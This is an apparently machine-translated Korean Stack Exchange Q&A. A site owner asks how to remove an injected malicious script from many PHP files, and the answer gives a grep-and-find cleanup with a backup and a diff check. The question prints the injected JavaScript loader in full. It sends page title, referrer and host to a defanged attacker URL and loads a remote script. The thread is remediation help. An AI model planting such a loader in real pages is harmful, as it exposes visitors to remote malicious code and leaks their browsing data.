긴 텍스트 문자열을 바꿉니다(많은 특수 문자가 포함된 스크립트). sed, awk, grep

긴 텍스트 문자열을 바꿉니다(많은 특수 문자가 포함된 스크립트). sed, awk, grep

내 사이트가 해킹/감염되었습니다. 악성 링크의 URL을 교체했지만 악성 스크립트의 다른 요소로 인해 여전히 내 사이트가 차단되고 있습니다. 100개 정도의 "이스케이프"를 삽입하지 않고 내 사이트에 있는 36개 파일에서 다음 스크립트를 어떻게 제거할 수 있습니까?

< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>

stack-exchange의 다른 페이지에서는 이 질문에 답변하지 않습니다.

악성 URL을 xxxx_hack_was_here 등으로 바꾸려면 다음을 사용했습니다. find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +

답변1

우선 위의 의견에 동의합니다.sed해킹당했을 때 복구하는 데 사용하지 마세요 . 당신은 뭔가를 놓친 것이 아닌지 항상 궁금해 할 것입니다. 백업에서 복원, 기간.

그러나 모든 특수 문자를 이스케이프 처리하지 않고 나타나는 모든 곳에서 긴 문자열을 제거하는 방법에 대한 문자 그대로의 질문은 처리하기가 다소 쉽습니다.

귀하가 실제로 직접적으로 언급하지 않은 귀하의 질문에서 몇 가지 추론/가정을 만들고 있습니다.

  1. 제거할 문자열은 한 줄입니다.
  2. 일어날 때마다 똑같다는 것.
  3. 그럴 필요가 있다고제거됨, 다른 것으로 대체되지 않았습니다.

위의 가정이 맞다면 다음을 수행하십시오.

  1. 제거할 문자열(후행 공백 포함)을 eg hackline.txt. 이것을 한 수준 넣어~ 위에처리할 디렉토리입니다.
  2. 실수가 있을 경우를 대비해 전체 디렉터리를 복사하세요.

    cp -a mydir mydircopy
    
  3. Hackline의 모든 인스턴스를 제거하려면 디렉터리(또는 복사본)에서 다음 루프를 실행하세요.

    cd mydir
    for f in *; do
      [ -f "$f" ] && [ -r "$f" ] || continue
      grep -vxFf ../hackline.txt "$f" > "$f.fixed" &&
        mv -- "$f.fixed" "$f"
    done
    

여기서 개념은 hackline.txt전체 줄과 일치해야 하는 고정 문자열 목록으로 사용한 다음 grep해당 줄만 가져오는 데 사용한다는 것입니다.~하지 않다해당 문자열 목록과 일치합니다.

-x"전체 라인"을 의미합니다. -F"정규 표현식이 아닌 고정 문자열"을 의미합니다. -v검색을 반전시킵니다. -f파일의 패턴 목록을 허용합니다.

웹 사이트 디렉토리가 평면이 아닌 계층 구조인 경우(실제로 그럴 가능성이 높음) findfor 루프 대신 사용할 수 있습니다.

find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;

그런 다음 재귀를 사용하여 diff모든 것이 올바른지 확인합니다.

diff -r mydircopy mydir

관련 정보